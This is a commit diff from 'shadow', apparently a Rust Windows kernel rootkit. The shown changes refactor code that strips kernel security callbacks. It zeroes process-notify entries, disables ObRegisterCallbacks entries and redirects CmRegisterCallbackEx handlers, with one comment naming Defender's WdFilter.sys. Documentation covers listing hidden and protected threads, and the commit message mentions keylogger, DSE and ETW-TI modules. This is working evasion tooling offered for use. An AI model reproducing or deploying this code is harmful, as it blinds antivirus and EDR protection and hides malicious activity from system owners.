feature(driver): refactor internals and improve callback management

- Moved and refactored several internal modules to `driver/src/internals/`:
  - Added new files: `enums.rs`, `externs.rs`, `structs.rs`, `types.rs`, and `mod.rs`.
  - Renamed `includes/vad.rs` to `internals/vad.rs` for better organization.
- Updated `callback` module:
  - Refactored `notify_routine.rs`, `object.rs`, `registry.rs`, and supporting files for better callback handling.
  - Improved callback finding mechanism in `find_callback.rs` and `ioctls.rs`.
- Adjusted `injection` module:
  - Refactored callback and I/O control handling in `callbacks.rs` and `ioctls.rs`.
- Miscellaneous improvements:
  - Updated `misc/dse.rs`, `misc/etwti.rs`, and `keylogger/mod.rs`.
  - Refactored `process`, `registry`, and `thread` modules for better maintainability.
  - Simplified utility functions in `utils/`, including `address.rs`, `handles.rs`, `patterns.rs`, and more.
  - Cleaned up and removed unused files like `.gitignore` in multiple directories.
- Updated `Cargo.toml` and `Cargo.lock` to reflect dependency changes.

docs/thread.md

@@ -41,4 +41,29 @@ Example of use:
 shadow.exe thread protection --tid 1234 --add
 ```
 
-This command will protect the thread with TID 1234.
+This command will protect the thread with TID 1234.
+
+## Lists protected and hidden threads currently on the system
+
+Description:
+This command allows you to list the thread that are currently protected or hidden.
+
+```cmd
+shadow.exe thread enumerate -l -t <value>
+```
+
+* `enumerate`: Terminate the specified thread.
+* `-l / --list`: List the protected or hidden thread.
+* `-t / --type`: Specify which type you want to list.
+
+    *   Possible values:
+        - `hide`:       List of hidden targets
+        - `protection`: List of protected targets
+
+Example of use:
+
+```cmd
+shadow.exe thread enumerate -l -t protection
+```
+
+This command will close and list the currently protected threads.

driver/.gitignore

@@ -1,3 +0,0 @@
-/target
-/src/backup
-/src/misc/memory.rs

driver/Cargo.lock

@@ -80,9 +80,9 @@ dependencies = [
 
 [[package]]
 name = "anyhow"
-version = "1.0.86"
+version = "1.0.89"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b3d1d046238990b9cf5bcde22a3fb3584ee5cf65fb2765f454ed428c7a0063da"
+checksum = "86fdf8605db99b54d3cd748a44c6d04df638eb5dafb219b135d0149bd0db01f6"
 
 [[package]]
 name = "autocfg"
@@ -157,6 +157,15 @@ dependencies = [
  "thiserror",
 ]
 
+[[package]]
+name = "cc"
+version = "1.1.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "07b1695e2c7e8fc85310cde85aeaab7e3097f593c91d209d3f9df76c928100f0"
+dependencies = [
+ "shlex",
+]
+
 [[package]]
 name = "cexpr"
 version = "0.6.0"
@@ -185,9 +194,9 @@ dependencies = [
 
 [[package]]
 name = "clap"
-version = "4.5.16"
+version = "4.5.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed6719fffa43d0d87e5fd8caeab59be1554fb028cd30edc88fc4369b17971019"
+checksum = "b0956a43b323ac1afaffc053ed5c4b7c1f1800bacd1683c353aabbb752515dd3"
 dependencies = [
  "clap_builder",
  "clap_derive",
@@ -205,9 +214,9 @@ dependencies = [
 
 [[package]]
 name = "clap_builder"
-version = "4.5.15"
+version = "4.5.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "216aec2b177652e3846684cbfe25c9964d18ec45234f0f5da5157b207ed1aab6"
+checksum = "4d72166dd41634086d5803a47eb71ae740e61d84709c36f3c34110173db3961b"
 dependencies = [
  "anstream",
  "anstyle",
@@ -217,9 +226,9 @@ dependencies = [
 
 [[package]]
 name = "clap_derive"
-version = "4.5.13"
+version = "4.5.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "501d359d5f3dcaf6ecdeee48833ae73ec6e42723a1e52419c79abf9507eec0a0"
+checksum = "4ac6a0c7b1a9e9a5186361f67dfa1b88213572f427fb9ab038efb2bd8c582dab"
 dependencies = [
  "heck",
  "proc-macro2",
@@ -334,9 +343,9 @@ checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
 
 [[package]]
 name = "libc"
-version = "0.2.158"
+version = "0.2.159"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439"
+checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5"
 
 [[package]]
 name = "libloading"
@@ -385,6 +394,15 @@ version = "2.7.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
 
+[[package]]
+name = "microseh"
+version = "1.0.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9e43c1dba6ea375d37496bcf6172da811d766dd71f84ea70c419c712dd2d1ac9"
+dependencies = [
+ "cc",
+]
+
 [[package]]
 name = "minimal-lexical"
 version = "0.2.1"
@@ -524,9 +542,9 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
 
 [[package]]
 name = "rustix"
-version = "0.38.35"
+version = "0.38.37"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a85d50532239da68e9addb745ba38ff4612a242c1c7ceea689c4bc7c2f43c36f"
+checksum = "8acb788b847c24f28525660c4d7758620a7210875711f79e7f663cc152726811"
 dependencies = [
  "bitflags",
  "errno",
@@ -564,18 +582,18 @@ dependencies = [
 
 [[package]]
 name = "serde"
-version = "1.0.209"
+version = "1.0.210"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "99fce0ffe7310761ca6bf9faf5115afbc19688edd00171d81b1bb1b116c63e09"
+checksum = "c8e3592472072e6e22e0a54d5904d9febf8508f65fb8552499a1abc7d1078c3a"
 dependencies = [
  "serde_derive",
 ]
 
 [[package]]
 name = "serde_derive"
-version = "1.0.209"
+version = "1.0.210"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a5831b979fd7b5439637af1752d535ff49f4860c0f341d1baeb6faf0f4242170"
+checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -584,9 +602,9 @@ dependencies = [
 
 [[package]]
 name = "serde_json"
-version = "1.0.127"
+version = "1.0.128"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8043c06d9f82bd7271361ed64f415fe5e12a77fdb52e573e7f06a516dea329ad"
+checksum = "6ff5456707a1de34e7e37f2a6fd3d3f808c318259cbd01ab6377795054b483d8"
 dependencies = [
  "itoa",
  "memchr",
@@ -603,6 +621,7 @@ dependencies = [
  "kernel-log",
  "lazy_static",
  "log",
+ "microseh",
  "ntapi",
  "obfstr",
  "shared",
@@ -672,18 +691,18 @@ dependencies = [
 
 [[package]]
 name = "thiserror"
-version = "1.0.63"
+version = "1.0.64"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0342370b38b6a11b6cc11d6a805569958d54cfa061a29969c3b5ce2ea405724"
+checksum = "d50af8abc119fb8bb6dbabcfa89656f46f84aa0ac7688088608076ad2b459a84"
 dependencies = [
  "thiserror-impl",
 ]
 
 [[package]]
 name = "thiserror-impl"
-version = "1.0.63"
+version = "1.0.64"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a4558b58466b9ad7ca0f102865eccc95938dca1a74a856f2b57b6629050da261"
+checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -751,9 +770,9 @@ dependencies = [
 
 [[package]]
 name = "unicode-ident"
-version = "1.0.12"
+version = "1.0.13"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe"
 
 [[package]]
 name = "utf8parse"

driver/Cargo.toml

@@ -21,6 +21,7 @@ spin = "0.9.8"
 lazy_static = "1.5.0"
 bitfield = "0.15.0"
 hashbrown = "0.14.5"
+microseh = { version = "1.0.3", default-features = false}
 
 [build-dependencies]
 wdk-build = "0.2.0"
@@ -37,4 +38,4 @@ mapper = []
 [package.metadata.wdk.driver-model]
 driver-type = "KMDF"
 kmdf-version-major = 1
-target-kmdf-version-minor = 33
+target-kmdf-version-minor = 33

driver/src/callback/callbacks/notify_routine.rs

@@ -10,7 +10,7 @@ use {
             find_callback::{find_callback_address, CallbackResult}, 
             CallbackList, INFO_CALLBACK_RESTAURE
         }, 
-        includes::structs::CallbackRestaure, utils::return_module
+        internals::structs::CallbackRestaure, utils::return_module
     },
 };
 
@@ -20,21 +20,21 @@ pub struct Callback;
 /// Implement a feature for the callback PsSetCreateProcessNotifyRoutine / PsSetCreateThreadNotifyRoutine / PsSetLoadImageNotifyRoutine.
 impl CallbackList for Callback {
     unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
-        let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
+        let mut callbacks = INFO_CALLBACK_RESTAURE.lock();
-        let callback_type = (*target_callback).callback;
+        let type_ = (*target_callback).callback;
         let index = (*target_callback).index;
 
-        if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
+        if let Some(index) = callbacks.iter().position(|c| c.callback == type_ && c.index == index) {
             let address = match find_callback_address(&(*target_callback).callback) {
                 Some(CallbackResult::PsCreate(addr)) => addr,
                 _ => return STATUS_UNSUCCESSFUL,
             };
 
-            let addr = address.offset((callback_info[index].index * 8) as isize);
+            let addr = address.offset((callbacks[index].index * 8) as isize);
-            *(addr as *mut u64) = callback_info[index].address;
+            *(addr as *mut u64) = callbacks[index].address;
-            callback_info.remove(index);
+            callbacks.remove(index);
         } else {
-            log::error!("Callback not found for type {:?} at index {}", callback_type, index);
+            log::error!("Callback not found for type {:?} at index {}", type_, index);
             return STATUS_UNSUCCESSFUL;
         }
 
@@ -49,7 +49,7 @@ impl CallbackList for Callback {
 
         let index = (*target_callback).index as isize;
         let addr = address.offset(index * 8);
-        let callback_restaure = CallbackRestaure {
+        let callback = CallbackRestaure {
             index: (*target_callback).index,
             callback: (*target_callback).callback,
             address: *(addr as *mut u64),
@@ -57,7 +57,7 @@ impl CallbackList for Callback {
         };
 
         let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
-        callback_info.push(callback_restaure);
+        callback_info.push(callback);
 
         *(addr as *mut u64) = 0;
 
@@ -122,12 +122,11 @@ impl CallbackList for Callback {
     }
     
     unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
-        let callback_restaure = INFO_CALLBACK_RESTAURE.lock();
+        let callbacks = INFO_CALLBACK_RESTAURE.lock();
-
         let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
         let start_entry = ldr_data;
 
-        for (i, callback) in callback_restaure.iter().enumerate() {
+        for (i, callback) in callbacks.iter().enumerate() {
             for _ in 0..module_count {
                 let start_address = (*ldr_data).DllBase;
                 let image_size = (*ldr_data).SizeOfImage;

driver/src/callback/callbacks/object.rs

@@ -4,7 +4,6 @@ use {
     ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
     shared::structs::{CallbackInfoInput, CallbackInfoOutput},
     wdk_sys::{
-        ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx}, 
         NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
     },
     crate::{
@@ -12,7 +11,8 @@ use {
             find_callback::{find_callback_address, CallbackResult}, 
             CallbackList, INFO_CALLBACK_RESTAURE_OB
         }, 
-        includes::structs::{CallbackRestaureOb, OBCALLBACK_ENTRY}, utils::return_module
+        internals::structs::{CallbackRestaureOb, OBCALLBACK_ENTRY}, 
+        utils::{return_module, with_push_lock_exclusive}
     },
 };
 
@@ -22,103 +22,96 @@ pub struct CallbackOb;
 /// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType).
 impl CallbackList for CallbackOb {
     unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
-        let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
+        let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
-        let callback_type = (*target_callback).callback;
+        let type_ = (*target_callback).callback;
         let index = (*target_callback).index;
 
-        if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
+        if let Some(index) = callbacks.iter().position(|c| c.callback == type_ && c.index == index) {
-            let object_type = match find_callback_address(&(*target_callback).callback) {
+            let type_ = match find_callback_address(&(*target_callback).callback) {
                 Some(CallbackResult::ObRegister(addr)) => addr,
                 _ => return STATUS_UNSUCCESSFUL,
             };
 
-            let lock = &(*object_type).type_lock as *const _ as *mut u64;
+            let lock = &(*type_).type_lock as *const _ as *mut u64;
-            ExAcquirePushLockExclusiveEx(lock, 0);
+            with_push_lock_exclusive(lock, || {
+                let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
+                let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
+    
+                while next != current {
+                    if !(*next).enabled && !next.is_null() && (*next).entry as u64 == callbacks[index].entry {
+                        (*next).enabled = true;
+                        callbacks.remove(index);
+                        return STATUS_SUCCESS;
+                    }
+    
+                    next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
+                }    
 
-            let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
+                STATUS_UNSUCCESSFUL
-            let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
+            })
-
-            while next != current {
-                if !(*next).enabled && !next.is_null() && (*next).entry as u64 == callback_info[index].entry {
-                    (*next).enabled = true;
-                    callback_info.remove(index);
-                    ExReleasePushLockExclusiveEx(lock, 0);
-                    return STATUS_SUCCESS;
-                }
-
-                next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
-            }
-
-            ExReleasePushLockExclusiveEx(lock, 0);
         } else {
-            log::error!("Callback not found for type {:?} at index {}", callback_type, index);
+            log::error!("Callback not found for type {:?} at index {}", type_, index);
             return STATUS_UNSUCCESSFUL;
         }
-
-        STATUS_UNSUCCESSFUL
     }
 
     unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
-        let object_type = match find_callback_address(&(*target_callback).callback) {
+        let type_ = match find_callback_address(&(*target_callback).callback) {
             Some(CallbackResult::ObRegister(addr)) => addr,
             _ => return STATUS_UNSUCCESSFUL,
         };
 
-        let lock = &(*object_type).type_lock as *const _ as *mut u64;
+        let lock = &(*type_).type_lock as *const _ as *mut u64;
-        ExAcquirePushLockExclusiveEx(lock, 0);
+        with_push_lock_exclusive(lock, || {
-
+            let mut i = 0;
-        let mut i = 0;
+            let index = (*target_callback).index;
-        let index = (*target_callback).index;
+            let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
-        let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
+            let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
-        let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
+            let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
-        let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
-
-        while next != current {
-            if i == index {
-                if (*next).enabled {
-                    let mut callback_restaure = CallbackRestaureOb {
-                        index,
-                        callback: (*target_callback).callback,
-                        entry: (*next).entry as u64,
-                        pre_operation: 0,
-                        post_operation: 0
-                    };
-
-                    if let Some(pre_op) = (*next).pre_operation {
-                        callback_restaure.pre_operation = pre_op as _;
-                    }
-
-                    if let Some(post_op) = (*next).post_operation {
-                        callback_restaure.post_operation = post_op as _;
-                    }
-
-                    (*next).enabled = false;
     
-                    callback_info.push(callback_restaure);
+            while next != current {
-                    log::info!("Callback removed at index {}", index);
+                if i == index {
+                    if (*next).enabled {
+                        let mut callback_restaure = CallbackRestaureOb {
+                            index,
+                            callback: (*target_callback).callback,
+                            entry: (*next).entry as u64,
+                            pre_operation: 0,
+                            post_operation: 0
+                        };
+    
+                        if let Some(pre_op) = (*next).pre_operation {
+                            callback_restaure.pre_operation = pre_op as _;
+                        }
+    
+                        if let Some(post_op) = (*next).post_operation {
+                            callback_restaure.post_operation = post_op as _;
+                        }
+    
+                        (*next).enabled = false;
+        
+                        callback_info.push(callback_restaure);
+                        log::info!("Callback removed at index {}", index);
+                    }
+
+                    return STATUS_SUCCESS;
                 }
-
+    
-                ExReleasePushLockExclusiveEx(lock, 0);
+                next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
-
+                i += 1;
-                return STATUS_SUCCESS;
             }
 
-            next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
+            STATUS_UNSUCCESSFUL    
-            i += 1;
+        })
-        }
-
-        ExReleasePushLockExclusiveEx(lock, 0);
-
-        STATUS_UNSUCCESSFUL
     }
 
     unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
-        let object_type = match find_callback_address(&(*target_callback).callback) {
+        let type_ = match find_callback_address(&(*target_callback).callback) {
             Some(CallbackResult::ObRegister(addr)) => addr,
             _ => return Err(STATUS_UNSUCCESSFUL),
         };
 
-        let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
+        let current = &mut ((*type_).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
         let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
         let mut list_objects = Vec::new();
         
@@ -190,12 +183,11 @@ impl CallbackList for CallbackOb {
     }
     
     unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
-        let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock();
+        let callbacks = INFO_CALLBACK_RESTAURE_OB.lock();
-
         let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
         let start_entry = ldr_data;
 
-        for (i, callback) in callback_restaure.iter().enumerate() {
+        for (i, callback) in callbacks.iter().enumerate() {
             for _ in 0..module_count {
                 let start_address = (*ldr_data).DllBase;
                 let image_size = (*ldr_data).SizeOfImage;

driver/src/callback/callbacks/registry.rs

@@ -2,8 +2,7 @@ use {
     core::mem::size_of,
     ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
     shared::structs::{CallbackInfoInput, CallbackInfoOutput},
-    wdk_sys::{
+    wdk_sys::{ 
-        ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx}, 
         NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
     },
     crate::{
@@ -11,7 +10,11 @@ use {
             find_callback::{find_callback_address, CallbackResult}, 
             CallbackList, INFO_CALLBACK_RESTAURE_REGISTRY
         }, 
-        includes::structs::{CallbackRestaure, CM_CALLBACK}, utils::return_module},
+        internals::structs::{
+            CallbackRestaure, CM_CALLBACK
+        }, 
+        utils::{return_module, with_push_lock_exclusive}
+    },
 };
 
 /// Structure representing the Callback Registry.
@@ -20,163 +23,150 @@ pub struct CallbackRegistry;
 /// Implement a feature for the callback CmRegisterCallbackEx.
 impl CallbackList for CallbackRegistry {
     unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
-        let mut callback_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
+        let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
         let callback_type = (*target_callback).callback;
         let index = (*target_callback).index;
 
-        if let Some(x) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
+        if let Some(x) = callbacks_info.iter().position(|c| c.callback == callback_type && c.index == index) {
-            let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
+            let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) {
                 Some(CallbackResult::Registry(addr)) => addr,
                 _ => return STATUS_UNSUCCESSFUL,
             };
     
-            ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
+            with_push_lock_exclusive(lock as *mut u64, || {
+                let count = *(count as *mut u32) + 1;
+                let mut pcm_callback = callbacks as *mut CM_CALLBACK;
+    
+                for i in 0..count {
+                    if pcm_callback.is_null() {
+                        break;
+                    }
+        
+                    if i == index as u32 {
+                        (*pcm_callback).function = callbacks_info[x].address;
+                        callbacks_info.remove(x);
+                        return STATUS_SUCCESS;
+                    }
+        
+                    pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
+                }
 
-            let count = *(callback_count as *mut u32) + 1;
+                STATUS_SUCCESS
-            let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
+            })
+        } else {
+            log::error!("Callback not found for type {:?} at index {}", callback_type, index);
+            STATUS_UNSUCCESSFUL
+        }
+    }
 
+    unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
+        let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) {
+            Some(CallbackResult::Registry(addr)) => addr,
+            _ => return STATUS_UNSUCCESSFUL,
+        };
+
+        with_push_lock_exclusive(lock as *mut u64, || {
+            let index = (*target_callback).index as isize;
+            let count = *(count as *mut u32) + 1;
+            let mut pcm_callback = callbacks as *mut CM_CALLBACK;
+            let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
+            let mut prev_addr = 0;
+    
             for i in 0..count {
+                if i == 1 {
+                    prev_addr = (*pcm_callback).function as u64; // WdFilter.sys
+                }
+    
                 if pcm_callback.is_null() {
                     break;
                 }
     
                 if i == index as u32 {
-                    (*pcm_callback).function = callback_info[x].address;
+                    let addr = (*pcm_callback).function as u64;
-                    callback_info.remove(x);
+                    let callback_restaure = CallbackRestaure {
+                        index: (*target_callback).index,
+                        callback: (*target_callback).callback,
+                        address: addr,
+                        ..Default::default()
+                    };
     
-                    ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
+                    (*pcm_callback).function = prev_addr;
+                    callbacks_info.push(callback_restaure);
+    
+                    log::info!("Callback removed at index {}", index);    
                     return STATUS_SUCCESS;
                 }
     
                 pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
             }
 
-            ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
+            STATUS_UNSUCCESSFUL
-
+        })
-        } else {
-            log::error!("Callback not found for type {:?} at index {}", callback_type, index);
-            return STATUS_UNSUCCESSFUL;
-        }
-
-        STATUS_SUCCESS
     }
 
-    unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
+    unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callbacks_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
-        let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
+        let (callbacks, count, lock) = match find_callback_address(&(*target_callback).callback) {
-            Some(CallbackResult::Registry(addr)) => addr,
-            _ => return STATUS_UNSUCCESSFUL,
-        };
-
-        ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
-
-        let index = (*target_callback).index as isize;
-        let count = *(callback_count as *mut u32) + 1;
-        let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
-        let mut callback_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
-        let mut prev_addr = 0;
-
-        for i in 0..count {
-            if i == 1 {
-                prev_addr = (*pcm_callback).function as u64; // WdFilter.sys
-            }
-
-            if pcm_callback.is_null() {
-                break;
-            }
-
-            if i == index as u32 {
-                let addr = (*pcm_callback).function as u64;
-                let callback_restaure = CallbackRestaure {
-                    index: (*target_callback).index,
-                    callback: (*target_callback).callback,
-                    address: addr,
-                    ..Default::default()
-                };
-
-                (*pcm_callback).function = prev_addr;
-                callback_info.push(callback_restaure);
-
-                log::info!("Callback removed at index {}", index);
-                ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
-
-                return STATUS_SUCCESS;
-            }
-
-            pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
-        }
-
-        ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
-
-        STATUS_UNSUCCESSFUL
-    }
-
-    unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
-        let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) {
             Some(CallbackResult::Registry(addr)) => addr,
             _ => return Err(STATUS_UNSUCCESSFUL),
         };
 
-        let count = *(callback_count as *mut u32) + 1;
+        let count = *(count as *mut u32) + 1;
-        let mut pcm_callback = callback_list_header as *mut CM_CALLBACK;
+        let mut pcm_callback = callbacks as *mut CM_CALLBACK;
         let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
         let start_entry = ldr_data;
 
-        ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0);
+        with_push_lock_exclusive(lock as *mut u64, || {
-
+            for i in 0..count as isize {
-        for i in 0..count as isize {
+                if pcm_callback.is_null() {
-            if pcm_callback.is_null() {
-                break;
-            }
-            // Iterate over the loaded modules
-            for _ in 0..module_count {
-                let start_address = (*ldr_data).DllBase;
-                let image_size = (*ldr_data).SizeOfImage;
-                let end_address = start_address as u64 + image_size as u64;
-                let addr = (*pcm_callback).function as u64;
-
-                if addr > start_address as u64 && addr < end_address {
-                    let buffer = core::slice::from_raw_parts(
-                        (*ldr_data).BaseDllName.Buffer,
-                        ((*ldr_data).BaseDllName.Length / 2) as usize,
-                    );    
-
-                    // Module name
-                    let name = &mut (*callback_info.offset(i)).name[..buffer.len()];
-                    core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
-            
-                    // Module address
-                    (*callback_info.offset(i)).address = addr as usize;
-
-                    // Module index
-                    (*callback_info.offset(i)).index = i as u8;
-            
-                    *information += size_of::<CallbackInfoOutput>();
                     break;
                 }
+                // Iterate over the loaded modules
+                for _ in 0..module_count {
+                    let start_address = (*ldr_data).DllBase;
+                    let image_size = (*ldr_data).SizeOfImage;
+                    let end_address = start_address as u64 + image_size as u64;
+                    let addr = (*pcm_callback).function as u64;
+    
+                    if addr > start_address as u64 && addr < end_address {
+                        let buffer = core::slice::from_raw_parts(
+                            (*ldr_data).BaseDllName.Buffer,
+                            ((*ldr_data).BaseDllName.Length / 2) as usize,
+                        );    
+    
+                        // Module name
+                        let name = &mut (*callbacks_info.offset(i)).name[..buffer.len()];
+                        core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
+                
+                        // Module address
+                        (*callbacks_info.offset(i)).address = addr as usize;
+    
+                        // Module index
+                        (*callbacks_info.offset(i)).index = i as u8;
+                
+                        *information += size_of::<CallbackInfoOutput>();
+                        break;
+                    }
+    
+                    // Go to the next module in the list
+                    ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
+                }
+    
+                // Reset ldr_data for next callback
+                ldr_data = start_entry;
+                
+                pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
+            }    
 
-                // Go to the next module in the list
+            Ok(())
-                ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
+        })
-            }
-
-            // Reset ldr_data for next callback
-            ldr_data = start_entry;
-            
-            pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK;
-        }
-
-        ExReleasePushLockExclusiveEx(callback_list_lock as _, 0);
-
-        Ok(())
     }
     
-    unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
+    unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callbacks_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS> {
-        let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
+        let callbacks = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
-
         let (mut ldr_data, module_count) = return_module().ok_or(STATUS_UNSUCCESSFUL)?;
-
         let start_entry = ldr_data;
 
-        for (i, callback) in callback_restaure.iter().enumerate() {
+        for (i, callback) in callbacks.iter().enumerate() {
             for _ in 0..module_count {
                 let start_address = (*ldr_data).DllBase;
                 let image_size = (*ldr_data).SizeOfImage;
@@ -189,14 +179,14 @@ impl CallbackList for CallbackRegistry {
                     );
                     
                     // Module name
-                    let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
+                    let name = &mut (*callbacks_info.offset(i as isize)).name[..buffer.len()];
                     core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
             
                     // Module address
-                    (*callback_info.offset(i as isize)).address = callback.address as usize;
+                    (*callbacks_info.offset(i as isize)).address = callback.address as usize;
         
                     // Module index
-                    (*callback_info.offset(i as isize)).index = callback.index as u8;
+                    (*callbacks_info.offset(i as isize)).index = callback.index as u8;
         
                     *information += size_of::<CallbackInfoOutput>();
                     break;

driver/src/callback/find_callback.rs

@@ -1,15 +1,19 @@
 use obfstr::obfstr;
-use shared::vars::Callbacks;
+use shared::enums::Callbacks;
-use crate::{includes::structs::FULL_OBJECT_TYPE, utils::{self, patterns::scan_for_pattern}};
+use crate::{
+    internals::structs::FULL_OBJECT_TYPE, 
+    utils::{patterns::scan_for_pattern, uni::str_to_unicode}
+};
 use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
 
